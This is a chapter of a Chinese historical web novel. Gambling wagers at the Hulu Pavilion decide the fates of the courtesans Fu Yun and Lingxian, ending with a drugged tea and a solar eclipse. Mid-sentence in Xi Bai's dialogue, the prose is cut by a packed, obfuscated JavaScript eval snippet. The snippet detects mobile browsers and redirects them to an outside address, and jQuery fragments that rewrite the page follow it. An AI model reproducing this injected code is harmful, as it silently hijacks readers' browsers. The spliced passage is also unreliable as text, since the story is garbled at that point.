时间一晃来到约定之期。


    陈妈妈和弗筠乘坐画舫，沿着陈淮先前走过的水路来至呼卢阁，不费吹灰之力便进入了那方被一溜房门隔开的神秘之地。


    一道特意被修葺的暗梯，向上延伸至楼顶，往下还有一段通往未知之地，因光线昏暗，黑沉沉的看不清晰。


    见到眼下情景，喜出望外的兴奋只蜻蜓点水地划过弗筠的心尖儿，转而就被如潮的恐慌漫延得透透彻彻。随着她不断拾级往上，这股恐慌愈发压得她喘不过气来。


    凡事来得太过容易，必有蹊跷。


    走上四层，带路的侍者便将她们领进紧邻楼梯口的一处雅间，临窗而望，还能欣赏到秦淮河两畔的景致。心已经沉到谷底的弗筠，此刻见了希白的特意安排，唇畔竟然噙起了一抹淡淡的笑。


    她的小心思并没有瞒过希白的眼睛。也是，她协助凌仙私奔的事情，陈妈妈既然都知晓了，希白更没道理不知。看来今日这出请君入瓮，她也是瓮中之物。


    她倚靠在窗边，吹着湿润的河风，迫使自己冷静下来，等到希白和章舜顷前后脚进来时，已恢复泰然自若之色。


    章舜顷将目光在她身上落了落，才对希白道，“不知希掌柜今日这局想怎么赌啊？”


    希白公事公办道，“自然是要先理好各自筹码，章大人想从陈妈妈这里赌弗筠的卖身契，不知大人能给的筹码又是什么？”


    章舜顷没有直接回答他的问题，反而看其眼睛道，“我得先知道，今日跟我同桌而赌的，究竟是陈妈妈还是希掌柜？”


    希白默了一默，才挤出一丝笑，似是感慨道，“大人还真是有备而来啊。跟陈妈妈赌，和跟我赌，筹码自然是不同的。若是跟陈妈妈赌，无非是跟弗筠价值相等的金银；若是跟我赌嘛……”


    他顿了顿，平静的眸子里划过一道寒芒，“自然是大人赌不起的。”


    章舜顷微微倾身向前，眸光里跃动着兴致，道，“那我倒是好奇想听一听了。”


    “赌命，章大人敢玩吗？”


    随着希白话音的落定，雅间里静得只剩下四人交错的呼吸声。


    陈妈妈在希白留意不到的地方恶狠狠地瞪了他一眼，她原以为今日不过是来走个过场，没想到稀里糊涂地上了贼船，心里叫悔不迭。


    人在危险之时总是下意识看向自己信赖之人。


    她满屋子搜罗了一圈，只有刺头儿弗筠还算得上知根知底，试图跟她挤眉弄眼腹诽一通，却见她竟然作壁上观，饶有兴致地看起了眼前的鬼热闹，压根儿没理会她的目光暗示。


    只能看向章大人，惟愿他能消停些。


    章舜顷似是认真地掂量了一番，嘴角往下沉了沉，一个劲儿地摇头，“用我的命，换一份卖身契，这筹码也太不相称了吧。我虽有爱美之心，但也没到为之殉情的地步。希掌柜就没有其他想要的筹码吗？”


    希白微微耸肩，聊表遗憾道，“既如此，那章大人还是跟陈妈妈赌吧。旁的筹码，我没有兴趣。”


    章舜顷不言地看着希白，场子倏然冷了下来。


    此时一直沉默的弗筠突然开了口，“我可以以命相赌，不知希掌柜看不看得起，愿意跟我赌上一把？”


    六束目光齐刷刷地落在了她身上，惊愕的，好奇的，复杂的……而她的眼神里只有初生牛犊的无所畏惧。


    希白那张总是目空一切的脸，突然逸出一丝浅淡的笑意，看向弗筠问道，“你想跟我赌什么？”


    弗筠直视着他，道，“我想跟希掌柜要的人，掌柜应该心知肚明。”


    既然已被看穿心思，索性就打开天窗，玩一局明的。


    希白立刻读懂了她的意图，用寸寸目光正眼打量起眼前之人，眼底玩味之意愈浓，“好啊。就用你擅长的掷钱来赌吧。一局定胜负。”


    弗筠点头同意，便去解腰间荷包，一只温热的手掌突然覆了上来，灼热的温度顷刻间传递至她的手背，让她不由停了下来。那只手掌没用任何力气，只是轻轻贴覆着，不像是阻拦更像是鼓励。


    弗筠心领神会，反手捏了捏他的手掌，而后便撤离开来，从荷包里取出八枚铜钱，一枚枚摊开到桌面中央。


    “这些铜钱我一直随身携带把玩，只是普通铜钱，希掌柜若是不放心，可以经人检查一遍。”弗筠道。


    “不用。”


    “那我先来？”


    得到希白的允准后，弗筠便将铜钱一一收回了掌心，干脆站起身来，屏气凝神，贴着耳畔拢手摇晃。


    满室皆静，唯有铜钱哗啦哗啦晃动的声响，敲打在每个人的耳膜上，刺耳嘈乱。


    弗筠非但不嫌吵闹，反而愈将耳朵贴近了声源，从看似杂乱无章的噪音中分辨着其中玄机妙理。


    一连晃了许多下，突然她毫无预兆地松开了掌心，八枚铜钱雨点般掉落桌面，一枚枚接续落地，皆是字面朝上。


    此为必胜之局。


    弗筠微不可察地长舒了一口气，背身擦了擦被汗濡湿的手心。


    希白眉头都没皱，神色如常地将一枚枚铜钱捡了回来，松散地靠在椅背上。


    如此气定神闲，弗筠不由坐直了身子，心里直犯嘀咕，不知他能玩出什么花来，却见希白只是信手摇了两下，便将铜钱随意地丢到了桌面上。


    三人各自探身去看，零零散散落在桌面上的铜钱，花色纷乱错杂，毫无规律。


    “我输了。”希白轻飘飘道，像是浑不在意此局的胜负。


    “……”


    难得被旁人耍弄一回，弗筠心里真是打翻了油盐酱醋五味杂陈，亏她有那么一瞬间真觉得自己项上人头不保。


    人在感到极度荒唐之时会萌发出想笑的冲动，弗筠眼下便是如此。


    可在这个当口笑出来，只会让希白觉得她天真痴傻，因而她控制脸颊皮肉，终是忍了下来，在旁人看来却是姣好面孔终于裂出一丝缝隙。


    希白志得意满地欣赏了一会儿自作聪明的猎物，便起身来至门前，吩咐道，“把凌仙带上来吧。”


    约莫一盏茶后，侍者将凌仙带了上来。


    陈妈妈和弗筠时隔多日再次看见凌仙，都情不自禁地站了起来，不过个中情由自是天差地别。


    凌仙已被松了绑，却只能勉强地扶着墙站稳，一身衣裳洇着潮乎乎的湿气，污脏得不成样子，蓬头垢面自是不提，肤色泛着异样的苍白，面颊也消瘦了一圈。


    弗筠心口揪成一团，扑上来从头到脚地检查，确定身上没有外伤才微微放下心来，而凌仙见她全须全尾没受牵连，也露出一丝如释重负的微笑。


    陈妈妈心中嘲讽和狂怒交加，顾忌着希白在场，才没有发作出来，直欲用眼神在凌仙身上剜出个洞来。


    弗筠用身子将二人隔开，对希白道，“希掌柜，赌局既然已有了胜负，可否能让我们带凌仙回晓花苑？”


    “你我的赌局有了胜负，可我和章大人的赌局还没开始呢。”希白看着弗筠道，转而又将视线移到章舜顷身上，“章大人，我现在有了想要的筹码。”


    所有人都看着他手指一点，指向弗筠，道，“我想要她。”


    章舜顷和弗筠的目光在空中相触，都从彼此眼中看到了一丝错愕。身后的凌仙暗暗握着弗筠的手掌，似是为她捏了一把汗，陈妈妈则是满头的雾水。


    章舜顷面色冷凝了一瞬，转而恢复如常，“怎么赌？”


    希白道，“就赌今日呼卢阁会不会出乱子。若是出了乱子，章大人理应忍痛割爱，将弗筠让于


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16978299|193548||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我；若是平安无事，在下便尽一尽地主之谊，恭贺二位洞房花烛之喜。”


    章舜顷看向弗筠，从她眼神里得到肯定暗示后，沉默来了良久，才应道，“好。”


    “那就劳驾几位且在此恭候赌局胜负吧，在下还有其他事要忙，先失陪了。”说着希白便起身离开，弗筠等三人挡在出门的必经之地，只好移步给他让路。


    路过弗筠时，希白驻足了一瞬，用不掩欲望的赤裸目光在她脸上放肆逡巡，最后定定地落在她眉心红痣上，意味不明勾起了唇角。


    陈妈妈看了看眼下的局面，稍作犹豫，也跟着希白走了出去。


    希白步子迈得又远又快，陈妈妈只好迈着碎步勉强跟上，问道，“希掌柜，今日这出又是怎么回事啊？”


    希白目视前方，步履不停，嗤了一嗤，“陈妈妈只顾着看戏不就好了，还有脑子寻思这些？”


    陈妈妈被他噎得够呛，一个劲儿喘粗气，心里将希白祖宗十八代都问候了一遍。


    自打陈淮将苑里姑娘花名册和画像呈了上去后，陈妈妈便得了授意，要好好留着弗筠这棵摇钱树，直至来呼卢阁之前她都坚定不移以为，希白要找个由头将弗筠送给那位章大人。


    孰料他这位东家竟跟主顾抢起了女人？着实杀了她一个措手不及。


    陈妈妈虽不知希白在打什么算盘，听他话音却像将有大事发生，于是跟上来探探口风，可不管她如何旁敲侧击，希白都不肯透露丝毫，只得憋着一肚子气回了雅间。


    一路上，来回巡守的侍者人手比平日里增加了一倍有余，个个儿面露警惕，严阵以待，连陈妈妈的心也不觉提到了嗓子眼，有些惴惴不安。


    然而，雅间里却无半点儿风雨欲来之势。凌仙正用帕子清理着自己的面庞，弗筠帮她梳头，那位章大人则在一旁冷眼旁观，说不上是喜是怒。


    陈妈妈迈着沉重的步子咚咚上前，狠劲儿戳了下凌仙的脑门，“贱蹄子，看我回去怎么收拾你。”


    在暗无天日的地牢里待了多日，凌仙现下身子虚得很，陈妈妈又用了狠劲儿，直戳得她前后摇晃，若非弗筠在身后扶稳了她，只怕要立刻仰倒在地。她咬着牙低头认错道，“妈妈，是我错了，我不该轻信了他人。”


    陈妈妈叉着腰，气息仍有些不宁。


    “陈妈妈何故如此生气，喝杯茶消消火。”章舜顷将一杯满盏的茶水推到陈妈妈跟前。


    陈妈妈方才跟着希白一路小跑，本就有些口干舌燥，难得见章舜顷如此客气，不及深思便接过来饮了个干净，又拉了把空闲的椅子坐下，对章舜顷赔笑道，“希掌柜这人性子有些怪异，章大人勿要跟他一般见识，大人跟弗筠情投意合，老身自是要成全这桩美事的。”


    弗筠面色如常，倒是凌仙记忆还停留在徐鸣珂要为弗筠梳拢时，不知何时冒出了位章大人，还到了情投意合的地步，一时惊疑不定，但她牢记着弗筠方才的叮嘱，一时无暇深思这些琐事，按捺不住频频看向窗外。


    章舜顷似笑非笑道，“那就先谢过陈妈妈了。”说着，又为她斟满了一杯茶。


    陈妈妈一杯接一杯地饮着，突然觉得脑袋有些昏昏沉沉，眼前像是蒙了一层面纱，章舜顷的脸变得影影绰绰，话还未来得及说出口，便倒头栽在桌上。


    几乎是在她晕倒的同时，雅间突然暗了一瞬。


    章舜顷眸光一凝，起身来到窗前，只见灼灼烈日凭空被吞噬了一块，而那吞噬还在不断加剧。


    一时间天地骤暗，唯有日头的边缘残留一轮银白色的环，发出令人不敢直视的奇异光晕。


    而他的眼前，却突然被一片更深的漆黑笼罩，在彻底失去知觉前，他听到了一声幽微的女声贴在耳边道，“抱歉了，章大人。”